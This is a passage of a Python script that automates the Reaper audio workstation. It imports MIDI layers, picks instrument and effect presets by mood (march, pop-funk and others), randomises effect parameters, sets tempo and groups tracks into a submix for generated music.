\"Phrase: \", phNum, Movement[mvNum]['Sections'][secNum]['Phrases'][phNum]['layers'] )\n #print()\n return Movement[mvNum]['Sections'][secNum]['Phrases'][phNum]['layers']\n\n\n\n\n'''\n\ndef ReadCompositionSettings () :\n #test = RPR_ShowConsoleMsg (\"test\")\n #finName = importDirectory + \"\\\\CompositionSettings\" #Windows\n finName = importDirectory + \"/CompositionSettings\" #Mac\n fin = open ( finName, mode='r' )\n\n compositionSettings = collections.OrderedDict()\n movementSettings = collections.OrderedDict()\n\n files = {}\n allLayerNames = []\n layerNames = []#set()\n sections = []\n sectionCounter = -1\n for line in fin :\n\n line = line.rstrip()\n layerNames = []#set()\n\n if ( line.startswith ( \"Phrase\" ) ) :\n data = line.split()\n\n for layers in range (9, len(data)) :\n layerNames.insert(layers-9,data[layers])\n\n if ( line.startswith ( \"Phrase 0\") ) :\n sectionCounter = sectionCounter + 1\n sections.insert(sectionCounter, sectionCounter)\n files.update({str(sectionCounter): layerNames}\n\n\n for x, y in files.items() :\n test = RPR_ShowConsoleMsg (\"SECTION #\" + str(x) + \": \" + str(y) + \"\\n\")\n return test\n#WB_Mvmt0_Sec0_bass1\n\n for line in fin :\n line = line.rstrip()\n\n #print ( \"line: \", line )\n\n if ( line.startswith ( \"Movement\" ) ) :\n\n data = line.split ()\n for item in range(0, len(data), 2) :\n if ( data[item] == 'Movement' ) :\n mvNum = int(data[item+1] )\n compositionSettings[mvNum] = collections.OrderedDict()\n movementSettings[mvNum] = collections.OrderedDict()\n elif ( data[item] == 'Mood' ) :\n movementSettings[mvNum]['mood'] = data[item+1]\n elif ( data[item] == 'Element' ) :\n movementSettings[mvNum]['element'] = data[item+1]\n elif ( data[item] == 'Genre' ) :\n movementSettings[mvNum]['genre'] = data[item+1]\n\n elif ( line.startswith ( \"SectionNum\" ) ) :\n\n data = line.split ()\n for item in range(0, len(data), 2) :\n #print ( item, data[item], data[item+1] )\n if ( data[item] == 'SectionNum' ) :\n secNum = int(data[item+1] )\n compositionSettings[mvNum][secNum] = collections.OrderedDict()\n movementSettings[mvNum][secNum] = collections.OrderedDict()\n elif ( data[item] == 'NumPhrases' ) :\n numPhrases = int(data[item+1])\n for ph in range(numPhrases) :\n compositionSettings[mvNum][secNum][ph] = {'clock': 0, 'mute': False }\n #print ( \"Section: \", secNum, \"Phrase Num: \", ph )\n elif ( data[item] == 'Type' ) :\n movementSettings[mvNum][secNum]['type'] = data[item+1]\n elif ( data[item] == 'tse' ) :\n movementSettings[mvNum][secNum]['tse'] = data[item+1]\n elif ( data[item] == 'tempo' ) :\n movementSettings[mvNum][secNum]['tempo'] = data[item+1]\n\n elif ( line.startswith ( \"StartofSection\" ) ) :\n\n data = line.split ()\n for item in range(0, len(data), 2) :\n #print ( \"SoS: \", item, data[item], data[item+1] )\n if ( data[item] == 'StartofSection' ) :\n secNum = int(data[item+1] )\n #print ( \"Sec Num: \", secNum )\n elif ( data[item] == 'PhraseNum' ) :\n phNum = int(data[item+1] )\n #print ( \"Phrase Num: \", phNum )\n elif ( data[item] == 'Clock' ) :\n compositionSettings[mvNum][secNum][phNum]['clock'] = int(data[item+1] )\n elif ( data[item] == 'Mute' ) :\n compositionSettings[mvNum][secNum][phNum]['mute'] = data[item+1]\n\n fin.close()\n\n print()\n print()\n for mvNum in compositionSettings :\n print ( \"Movement: \", mvNum, \"Mood: \", movementSettings[mvNum]['mood'], \"Element: \", movementSettings[mvNum]['element'], \"Genre: \", movementSettings[mvNum]['genre'] )\n for sec in compositionSettings[mvNum] :\n print ( \"Section: \", sec, \"Type: \", movementSettings[mvNum][sec]['type'], \"Time Signature: \", movementSettings[mvNum][sec]['tse'], \"Tempo: \", movementSettings[mvNum][sec]['tempo'] )\n for ph in compositionSettings[mvNum][sec] :\n print ( \"phrase: \", ph, \"Clock: \", compositionSettings[mvNum][sec][ph]['clock'], \"Mute: \", compositionSettings[mvNum][sec][ph]['mute'] )\n\n return ( compositionSettings, movementSettings )\n '''\n\n\n\n\ndef CreateLayer (file, type, presets, midiFX, audioFX, volume) :\n\n preset = random.choice ( presets )\n instrumentName = preset.split (\"_\", 1)\n instrument = getInstrumentType (instrumentName)\n\n # put clock to 0\n RPR_SetEditCurPos (0, True, True)\n # inserts an empty track with no instrument added to it. 0 indicates track is inserted at 0th position\n RPR_InsertTrackAtIndex (0, True)\n curTrack = RPR_GetTrack (0, 0)\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (40939, 1) # selects first track\n\n\n for f in range (0, len(file)) :\n RPR_InsertMedia (file[f], 0) # inserts MIDI on new track\n RPR_SetEditCurPos (0, True, True)\n\n count = 0\n\n #inserts MIDI FX onto track\n if midiFX != \"\" :\n for fxName, fxPreset in midiFX.items() :\n RPR_TrackFX_GetByName (curTrack, fxName, True)\n RPR_TrackFX_SetPreset (curTrack, count, fxPreset)\n count = count + 1\n\n # the first track id will always be 0\n RPR_TrackFX_GetByName (curTrack, instrument, True) # adds instrument=kontakt5 on to the newly created track\n RPR_TrackFX_SetPreset (curTrack, count, preset) # set preset on the instrument\n count = count + 1\n\n #inserts AUDIO FX onto track\n if audioFX != \"\" :\n for fxName, fxPreset in audioFX.items() :\n RPR_TrackFX_GetByName (curTrack, fxName, True)\n RPR_TrackFX_SetPreset (curTrack, count, random.choice(fxPreset))\n count = count + 1\n\n #RPR_TrackFX_GetByName (curTrack, \"ReaEQ (Cockos)\", True)\n #RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 1, eq)\n\n #if eq == \"HPF_melody\" :\n # ParameterRandomization ( 1, 130, 235, 1, 0 ) #HiPass Filter Frequency\n\n RPR_SetMediaTrackInfo_Value (curTrack, \"D_VOL\", volume)\n RenameTrack (0, type)\n\n\n\ndef GroupAllTracksBelowSelectedTrack (selectedTrack) :\n\n groupTrack = selectedTrack + 40939 # converts to Reaper Action ID\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (groupTrack, 1) # selects track passed in (selectedTrack)\n RPR_Main_OnCommand (1041, 1) # makes current track a group folder and groups all tracks below it\n\n\n\n\ndef GroupNumOfTracksBelowSelectedTrack (selectedTrack, tracks) :\n\n #folder cycle 1 time on next vi track\n #folder cycle 2 times on (last track in phrase)\n\n groupTrack = selectedTrack + 40939 # converts to Reaper Action ID\n numOfTracks = tracks + 40939\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (groupTrack, 1) # selects track passed in (selectedTrack)\n RPR_Main_OnCommand (1041, 1) # makes current track a group folder and groups all tracks below it\n\n for t in range ( 0, 2 ) :\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand ( numOfTracks, 1 )\n RPR_Main_OnCommand (1041, 1) # makes current track a group folder and groups all tracks below it\n\n\n\n\n\n\n\ndef CreateInstrumentTrack () :\n\n if mood == epic :\n presets = [\"WB_Kontakt5_percMelody\", \"WB_Majestica_stringsBrassPercMelody\", \"WB_Kontakt5_Majestica_stringsMelody\", \"WB_Kontakt5_Majestica_stringsMelody\", \"WB_Kontakt5_Majestica_wwArpStringsMel\", \"WB_Majestica_stringsBrassMelody\"]\n #RPR_ShowConsoleMsg (str(presets[1]))\n elif element == \"Water\" :\n presets = [\"water_mel1\", \"water_mel2\", \"water_mel3\", \"water_mel4\"]\n\n maxNumberOfInstruments = int ((energy / 25) + 2)\n\n\n #RPR_ShowConsoleMsg (\"ENERGY: \" + str(energy) + \", Max#Instruments: \" + str(maxNumberOfInstruments))\n #random.shuffle (presets)\n preset = random.choice (presets)\n numOfInstruments = random.randint (1, maxNumberOfInstruments)\n\n for x in range (0, 4) : #numOfInstruments) :\n\n preset = random.choice (presets)\n RPR_SetEditCurPos (0, True, True) # sets scroll cursor to the beginning 0 on timeline\n RPR_InsertTrackAtIndex (0, True)\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (40939, 1) # selects first track\n\n instrument = Kontakt5\n volume = .6\n\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), instrument, True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 0, preset)\n RPR_SetMediaTrackInfo_Value (RPR_GetTrack (0, 0), \"D_VOL\", volume)\n\n trackName = \"MELODY_\" + str(x)\n RenameTrack (0, trackName)\n\n return ( numOfInstruments )\n\n\n\n\ndef ImportMelodyLayer (file) :\n\n RPR_SetEditCurPos (0, True, True) # sets scroll cursor to the beginning 0 on timeline\n RPR_InsertTrackAtIndex (0, True)\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (40939, 1) # selects first track\n\n RPR_InsertMedia (file, 0) # inserts MIDI on new track.. Maybe change 1 to 0???\n\n instrument = Kontakt5\n volume = .225\n\n\n\n\ndef OrganizeTracks (numOfMelodyTracks) :\n\n numOfTracks = RPR_CountTracks (0)\n #RPR_ShowConsoleMsg (\"# of mel tracks: \" + str(numOfMelodyTracks) + \" \\n\")\n\n\n #organize midi tracks under mel tracks in this FOR loop\n #for mel in range ( 1, numOfMelodyTracks ) :\n #randomize / shuffle the list and then go in order\n\n random.shuffle ( sectionTypesMelody )\n\n for uniqueTypes in range ( 0, len(sectionTypesMelody) ) :\n\n # randomly choose section/type\n #randType = sectionTypesMelody [random.randint ( 0, len(sectionTypesMelody) )]\n\n randType = sectionTypesMelody[uniqueTypes]\n #RPR_ShowConsoleMsg ( sectionTypesMelody[1] )\n melList = []\n\n\n\n numOfTracks = RPR_CountTracks (0)\n\n\n for trr in range ( 0, numOfTracks ) :\n\n trId = RPR_GetTrack (0, trr)\n name = RPR_GetSetMediaTrackInfo_String (trId, \"P_NAME\", \" \", False)\n RPR_Main_OnCommand (40297, 1)\n\n if name[3] == randType :\n RPR_SetTrackSelected( trId, True ) # selects that track\n RPR_Main_OnCommand (40337, 1) # cut track\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n\n\n melList = []\n numOfTracks = RPR_CountTracks (0)\n for m in range ( 0, numOfTracks ) :\n\n mId = RPR_GetTrack (0, m)\n melName = RPR_GetSetMediaTrackInfo_String (mId, \"P_NAME\", \" \", False)\n #RPR_ShowConsoleMsg (melName[3])\n\n # return track number\n if melName[3][0] == \"M\" :\n melList.append (m)\n\n #numOfTracks = RPR_CountTracks (0)\n #RPR_ShowConsoleMsg ( str(melList[uniqueTypes]) + \"\\n\")\n lengthMelList = len(melList)\n #RPR_ShowConsoleMsg (str(lengthMelList) + \": \" + str(melList) + \"\\n\")\n\n if name[3] == randType :\n randMelTrack = melList[random.randint ( 0, lengthMelList-1 )]\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n\n\n #if uniqueTypes <= len(melList) :\n #RPR_SetTrackSelected ( RPR_GetTrack (0, melList[uniqueTypes]), True )\n RPR_Main_OnCommand (40058, 1) # paste\n #numOfTracks = RPR_CountTracks (0)\n\n # RPR_ShowConsoleMsg (melList)\n\n\n\n\n\n\n\n\n\ndef Arrange () :\n\n for sect in range ( 1, numSections + 1 ) :\n numPhrases = len(compositionSettings[0][sect])\n sectionMute = compositionSettings[0][sect][0][\"mute\"] #finds mute for beginning of section\n sectionTypesAll.add(movementSettings[0][sect][\"type\"])\n\n if sectionMute == \"False\" :\n sectionTypesMelody.add(movementSettings[0][sect][\"type\"])\n\n\n for phr in range ( 0, numPhrases ) :\n phraseMute = compositionSettings[0][sect][phr][\"mute\"] #finds mute for beginning of phrase\n\n if phraseMute == \"False\" :\n importMIDIMelody = importDirectory + \"WB_Mvmt0_mel5_Sec\" + str(sect) + \"_Phrase\" + str(phr) + \".mid\"\n ImportMelodyLayer (importMIDIMelody)\n RenameTrack (0, movementSettings[0][sect][\"type\"])\n\n\n\n sectionTempo = float (movementSettings[0][sect][\"tempo\"])\n tse = movementSettings[0][sect][\"tse\"]\n tseNum = int (ord(tse[0]) - 48)\n tseDen = int (ord(tse[2]) - 48)\n clock = compositionSettings[0][sect][0]['clock']\n startMeasure = (clock / tseNum / 480 ) + 1\n\n #SetProjectTempoAndTimeSignature (sectionTempo, tseNum, tseDen, startMeasure)\n\n sectionType = movementSettings[0][sect][\"type\"]\n\n\n #RPR_ShowConsoleMsg ( sectionTypesAll )\n\n\n\n #if sectionMute == \"False\" :\n #RPR_ShowConsoleMsg ( \"creating virtual instrument track\\n\" )\n #numOfInstruments = CreateInstrumentTrack ()\n #RPR_ShowConsoleMsg ( numPhrases )\n #GroupNumOfTracksBelowSelectedTrack (0, numPhrases)\n\n\n\n\ndef Routing (sectionTypesMelody, numOfInstruments) :\n\n numOfTracks = RPR_CountTracks (0)\n\n for uniqueTypes in range ( 0, len(sectionTypesMelody) ) :\n\n randType = sectionTypesMelody[uniqueTypes]\n sendTrack = RPR_GetTrack (0, random.randint (0, numOfInstruments))\n\n #RPR_ShowConsoleMsg ( randType + \", \" )\n for tr in range ( 0, numOfTracks ) :\n\n trId = RPR_GetTrack (0, tr)\n name = RPR_GetSetMediaTrackInfo_String (trId, \"P_NAME\", \" \", False)\n RPR_Main_OnCommand (40297, 1)\n\n curTrack = RPR_GetTrack (0, tr)\n\n #RPR_ShowConsoleMsg (name[3] )#+ \": \" + randType \"\\n\")\n\n if name[3] == randType :\n RPR_CreateTrackSend (curTrack, sendTrack)\n\n #send into one of the mel tracks randomly\n\n\n\n\n\n\n\ndef ImportGuitarLayer (file) :\n\n guitarPresets = [\"guitar_strum1\", \"guitar_strum2\", \"guitar_strum3\", \"guitar_strum4\"]\n\n\n preset = guitarPresets [random.randint (0, 3)]\n\n RPR_SetEditCurPos (0, True, True) # sets scroll cursor to the beginning 0 on timeline\n RPR_InsertTrackAtIndex (0, True)\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (40939, 1) # selects first track\n\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"midi_transpose\", True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 0, \"guitar_transpose_24va\")\n\n RPR_InsertMedia (file, 0) # inserts MIDI on new track.. Maybe change 1 to 0???\n\n instrumentGuitar = Kontakt5\n volume = .265\n\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), instrumentGuitar, True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 1, preset)\n RPR_SetMediaTrackInfo_Value (RPR_GetTrack (0, 0), \"D_VOL\", volume)\n\n #adds fx to BASS track\n if mood == angrySimple or mood == angrySemiComplex or mood == \"angrysimple\" or mood == \"angrycomplex\" :\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), GuitarRig, True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 1, \"angry_bass_fx\")\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"ReaEQ (Cockos)\", True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 2, \"EQ_bass\")\n\n else :\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"ReaEQ (Cockos)\", True)\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 2, \"EQ_bass\")\n\n\n\n\ndef GroupTracksBelowSelectedTrack (selectedTrack) :\n #40939 = select Track1\n\n groupTrack = selectedTrack + 40939 # converts to Reaper Action ID\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (groupTrack, 1) # selects track passed in (selectedTrack)\n RPR_Main_OnCommand (1041, 1) # makes current track a group folder and groups all tracks below it\n\n\n\ndef CreateSubmixTrack () :\n '''\n Creates Submix track. All tracks get routed into this. Adds Compressor/EQ/Reverb/Limiter FX chain to this track.\n '''\n\n RPR_InsertTrackAtIndex (0, 0)\n GroupTracksBelowSelectedTrack (0)\n RenameTrack (0, \"SUBMIX\")\n\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"ReaComp (Cockos)\", True)\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"ReaEQ (Cockos)\", True)\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"ReaVerbate (Cockos)\", True)\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"soft_clipper\", True)\n RPR_TrackFX_GetByName (RPR_GetTrack (0, 0), \"masterLimiter\", True)\n\n\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 0, \"submix_comp\")\n ParameterRandomization ( 0, 5, 10, 0, 1 ) #Ratio\n ParameterRandomization ( 0, 25, 80, 0, 2 ) #Attack time\n ParameterRandomization ( 0, 10, 20, 0, 3 ) #Release time\n ParameterRandomization ( 0, 500, 1500, 0, 13 ) #RMS size\n\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 1, \"submix_eq\")\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 2, \"submix_verb\")\n ParameterRandomization ( 0, 400, 750, 2, 2 ) #Room Size\n ParameterRandomization ( 0, 350, 750, 2, 3 ) #Dampen factor\n ParameterRandomization ( 0, 500, 900, 2, 4 ) #Stereo Width\n ParameterRandomization ( 0, 400, 600, 2, 6 ) #Lowpass Filter\n ParameterRandomization ( 0, 3, 25, 2, 7 ) #Hipass Filter\n\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 3, \"submix_soft_clipper\")\n\n if mood == epic :\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 4, \"submix_orchestral_limiter\")\n else :\n RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 4, \"submix_limiter\")\n\n\n\n\n\ndef ImportMidiFile (file) :\n\n RPR_SetEditCurPos (0, True, True) # sets scroll cursor to the beginning 0 on timeline\n RPR_InsertMedia (file, 0) # inserts MIDI on new track.. Maybe change 1 to 0???\n\n\n\ndef RenameTrack (Id, name) :\n\n trackId = RPR_GetTrack (0, Id)\n RPR_GetSetMediaTrackInfo_String (trackId, \"P_NAME\", name, True)\n\n\n\ndef ParameterRandomization ( trackid, min, max, fxid, paramid ) :\n\n parameterValue = random.randint ( min, max ) * .001\n track = RPR_GetTrack ( 0, trackid )\n RPR_TrackFX_SetParam ( track, fxid, paramid, parameterValue )\n\n\n\n\ndef setTempo () :\n\n if mood == romanticSimple or mood == romanticSemiComplex :\n tempo = random.randint ( 60, 76 )\n\n elif mood == \"anthematic\" :\n tempo = random.randint (84, 100)\n\n elif mood == \"inspire\" :\n tempo = random.randint (120, 136)\n\n elif mood == \"bommarch\" :\n tempo = random.randint (126, 136)\n\n elif mood == \"popfunk\" :\n tempo = random.randint (114, 124)\n\n elif mood == \"propulsion\" :\n tempo = random.randint (132, 140)\n\n elif mood == \"peruvianwaltz\" :\n tempo = random.randint (100, 130)\n\n RPR_SetTempoTimeSigMarker( 0, -1, 0, 0-1, 0, tempo, 4, 4, True )\n\n\n\ndef getMood () :\n '''\n get mood from the thematic knob file\n '''\n\n file = open (\"/Users/\" + user + \"/Repo/DJWatson/ThematicKnob.txt\", 'r')\n firstLine = file.readline ()\n mood = firstLine\n file.close ()\n return mood\n\n\n\ndef InitializeReaper () :\n '''\n this is needed to remove all tracks and then add new ones, everytime Reaper starts\n '''\n RPR_Main_OnCommand (40296, 1) # selects all tracks\n RPR_Main_OnCommand (40005, 1) # remove all tracks\n\n\n\n\ndef getInstrumentType (instrumentName) :\n\n #RPR_ShowConsoleMsg (instrumentName)\n if instrumentName[0].startswith (\"Kontakt\") :\n instrumentName = Kontakt5\n elif instrumentName[0].startswith (\"Play\") :\n instrumentName = Play\n elif instrumentName[0].startswith (\"Omni\") :\n instrumentName = Omnisphere\n elif instrumentName[0].startswith (\"Massive\") :\n instrumentName = Massive\n elif instrumentName[0].startswith (\"Battery\"):\n instrumentName = Battery\n\n return instrumentName\n\n\n\n\n\n\n preset = random.choice ( presets )\n instrumentName = preset.split (\"_\", 1)\n instrument = getInstrumentType (instrumentName)\n\n # put clock to 0\n RPR_SetEditCurPos (0, True, True)\n # inserts an empty track with no instrument added to it. 0 indicates track is inserted at 0th position\n RPR_InsertTrackAtIndex (0, True)\n curTrack = RPR_GetTrack (0, 0)\n\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_Main_OnCommand (40939, 1) # selects first track\n\n\n for f in range (0, len(file)) :\n RPR_InsertMedia (file[f], 0) # inserts MIDI on new track\n RPR_SetEditCurPos (0, True, True)\n\n count = 0\n\n #inserts MIDI FX onto track\n if midiFX != \"\" :\n for fxName, fxPreset in midiFX.items() :\n RPR_TrackFX_GetByName (curTrack, fxName, True)\n RPR_TrackFX_SetPreset (curTrack, count, fxPreset)\n count = count + 1\n\n # the first track id will always be 0\n RPR_TrackFX_GetByName (curTrack, instrument, True) # adds instrument=kontakt5 on to the newly created track\n RPR_TrackFX_SetPreset (curTrack, count, preset) # set preset on the instrument\n count = count + 1\n\n #inserts AUDIO FX onto track\n if audioFX != \"\" :\n for fxName, fxPreset in audioFX.items() :\n RPR_TrackFX_GetByName (curTrack, fxName, True)\n RPR_TrackFX_SetPreset (curTrack, count, random.choice(fxPreset))\n count = count + 1\n\n #RPR_TrackFX_GetByName (curTrack, \"ReaEQ (Cockos)\", True)\n #RPR_TrackFX_SetPreset (RPR_GetTrack (0, 0), 1, eq)\n\n #if eq == \"HPF_melody\" :\n # ParameterRandomization ( 1, 130, 235, 1, 0 ) #HiPass Filter Frequency\n\n RPR_SetMediaTrackInfo_Value (curTrack, \"D_VOL\", volume)\n RenameTrack (0, type)\n\n\n\n\ndef StringArpSetParameters () :\n\n arpRate = random.choice ([5,8])\n ParameterRandomization ( 0, 1000/17*arpRate, 1000/17*arpRate, 0, 0 )\n\n if arpRate == 5 :\n repeatFactor = random.choice ([0,1,1,1,4,4])\n else :\n repeatFactor = random.choice ([0,0,0,1])\n\n ParameterRandomization ( 0, 1000/4*repeatFactor, 1000/4*repeatFactor, 0, 2 )\n\n octaveFactor = random.choice ([3,4,4,4,5])\n ParameterRandomization ( 0, 1000/8*octaveFactor, 1000/8*octaveFactor, 0, 1 )\n\n stepsFactor = random.choice ([0,1,2,3,4,5,6,7,8])\n ParameterRandomization ( 0, 1000/28*stepsFactor, 1000/28*stepsFactor, 0, 3 )\n\n\n\n\ndef WoodwindsOstinatoSetParamaters () :\n\n for currentInstrument in range ( 0, 2 ) :\n arpRate = random.choice ([5,8])\n ParameterRandomization ( 0, 1000/17*arpRate, 1000/17*arpRate, 0, currentInstrument )\n\n # if arpRate is 1/8 note\n if arpRate == 5 :\n repeatFactor = random.choice ([0,1,1,1,4,4])\n else :\n repeatFactor = random.choice ([0,0,0,1])\n\n\n\n\ndef RandomlyMuteTrack(tr) :\n\n muteChance = random.randint (0, 100)\n if muteChance <= 50 :\n RPR_SetMediaTrackInfo_Value( tr, \"B_MUTE\", True )\n\n\n\n\n\n\nif __name__ == '__main__' :\n\n #finName = importDirectory + \"/CompositionSettings\"\n #mood = parseCompositionSettings ( finName )\n #RPR_ShowConsoleMsg (mood)\n\n if startScript == True :\n\n InitializeReaper ()\n\n finName = importDirectory + \"/CompositionSettings\"\n parseCompositionSettings ( finName )\n\n # to get number of sections in movement 0\n numSections = Movement[0]['numSections']\n\n # to get number of phrases in section 0 in movement 0\n numPhrases = Movement[0]['Sections'][0]['numPhrases']\n\n # to get the layers for section 3 in movement 0\n layers = getLayersForSection ( 0, 3 )\n\n mood = Movement[0]['mood']\n #RPR_ShowConsoleMsg (mood)\n\n romanticSimple = \"romantic_simple\"\n romanticSemiComplex = \"romantic_semi_complex\"\n epic = \"anthematic\"\n inspired = \"inspire\"\n march = \"bommarch\"\n pop = \"popfunk\"\n propulsion = \"propulsion\"\n peruvianWaltz = \"peruvianWaltz\"\n\n # to get the layers for phrase 1 in section 4 in movement 0\n #layers = getLayersForPhrase ( 0, 4, 1 )\n\n\n\n melody = []\n arpStrings = []\n doubleBass = []\n cello = []\n viola = []\n violin2 = []\n violin1 = []\n pianoLH = []\n pianoRH = []\n bassDrum = []\n kickDrum = []\n cymbals = []\n snare = []\n hiHat = []\n bass1 = []\n bass2 = []\n fills = []\n rhythm = []\n\n\n\n #finds existing MIDI files for each layer and adds them to a list per each layer\n for section in range (0, numSections) :\n\n layers = getLayersForSection (0, section)\n\n for layer in range (0, len(layers)) :\n #RPR_ShowConsoleMsg (layers[layer] + '\\n')\n\n\n if layers[layer] == 'mel5' :\n melody.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_mel5.mid\" )\n\n elif layers[layer] == 'arpStrings' :\n arpStrings.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_arpStrings.mid\" )\n\n elif layers[layer] == 'loStrings' :\n doubleBass.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_loStrings_doubleBass.mid\" )\n cello.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_loStrings_cello.mid\" )\n\n elif layers[layer] == 'midStrings' :\n viola.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_midStrings_viola.mid\" )\n violin2.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_midStrings_violin2.mid\" )\n\n elif layers[layer] == 'hiStrings' :\n violin1.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_hiStrings_violin1.mid\" )\n\n elif layers[layer] == 'rightPiano' :\n pianoRH.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_rightPiano.mid\" )\n\n elif layers[layer] == 'leftPianoBass' :\n pianoLH.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_leftPianoBass.mid\" )\n\n elif layers[layer] == 'drumsBass' :\n bassDrum.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsBass.mid\" )\n\n elif layers[layer] == 'drumsKick' :\n kickDrum.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsKick.mid\" )\n\n elif layers[layer] == 'drumsKit' :\n kickDrum.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsKit.mid\" )\n fills.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_fillsForDrums.mid\" )\n\n elif layers[layer] == 'drumsCymbalSwell' :\n cymbals.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsCymbalSwell.mid\" )\n\n elif layers[layer] == 'drumsSnare' :\n snare.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsSnare.mid\" )\n\n elif layers[layer] == 'drumsHihat' :\n hiHat.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsHihat.mid\" )\n\n elif layers[layer] == 'fillsForDrums' :\n fills.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_fillsForDrums.mid\" )\n\n elif layers[layer] == 'drumsKitMarinera' :\n kickDrum.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_drumsKitMarinera.mid\" )\n\n elif layers[layer] == 'bass1' :\n bass1.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_bass1.mid\" )\n\n elif layers[layer] == 'bass2' :\n bass2.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_bass2.mid\" )\n\n elif layers[layer] == 'peruvianRhythmChords' or layers[layer] == 'rhythmChords' :\n rhythm.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_peruvianRhythmChords.mid\" )\n rhythm.append ( importDirectory + \"WB_Mvmt0_Sec\" + str(section) + \"_rhythmChords.mid\" )\n\n\n #midi groups\n loStrings = cello + doubleBass\n hiStrings = violin1 + violin2 + viola\n midStrings = violin2 + viola\n drums = kickDrum\n\n\n\n if mood == \"bommarch\" :\n\n bassPresets = [\"Kontakt5_March_bass1\", \"Kontakt5_March_bass2\"]\n bassMidiFX = {'midi_transpose': '8vb', 'midi_arp': 'quarterNotes'}\n bassAudioFX = {'ReaEQ (Cockos)': [\"EQ_Bass\"]}\n\n upbeatsPresets = [\"Kontakt5_March_upbeats1\", \"Kontakt5_March_upbeats2\", \"Play_March_upbeats1\", \"Play_March_upbeats2\"]\n upbeatsMidiFX = {\"midi_delay\": \"eighthNote\", \"midi_note_repeater\": \"quarterNote\"}\n\n ostinatoPresets = [\"Kontakt5_March_ostinato1\", \"Kontakt5_March_ostinato2\", \"Kontakt5_March_ostinato3\", \"Kontakt5_March_ostinato4\", \"Kontakat5_March_ostinato5\"]\n ostinatoMidiFX = {\"midi_arp\": \"wwArpEighthNotes\"}\n\n bassDrumPresets = [\"Kontakt5_March_bassDrum1\", \"Kontakt5_March_bassDrum2\"]\n\n snarePresets = [\"Kontakt5_March_snare1\", \"Kontakt5_March_snare2\"]\n\n melodyPresets = [\"\", \"\", \"\"]\n\n CreateLayer (bass2, \"BASS\", bassPresets, bassMidiFX, bassAudioFX, .375)\n CreateLayer (pianoRH, \"UPBEATS\", upbeatsPresets, upbeatsMidiFX, \"\", .2)\n CreateLayer (pianoRH, \"OSTINATO\", ostinatoPresets, ostinatoMidiFX, \"\", .185)\n CreateLayer (bassDrum, \"BASS DRUM\", bassDrumPresets, \"\", \"\", .55)\n CreateLayer (snare, \"SNARE\", snarePresets, \"\", \"\", .315)\n CreateLayer (melody, \"MELODY\", melodyPresets, \"\", \"\", .25)\n\n\n elif mood == \"popfunk\" :\n\n bassPresets = [\"Omnisphere_Pop_bass1\", \"Omnisphere_Pop_bass2\", \"Omnisphere_Pop_bass3\", \"Omnisphere_Pop_bass4\", \"Omnisphere_Pop_bass5\", \"Omnisphere_Pop_bass6\", \"Omnisphere_Pop_bass7\"]\n bassAudioFX = {'ReaEQ (Cockos)': [\"EQ_pop_synth_bass\"]}\n\n arpPresets = [\"Omnisphere_Pop_arp1\", \"Omnisphere_Pop_arp2\", \"Omnisphere_Pop_arp3\", \"Omnisphere_Pop_arp4\", 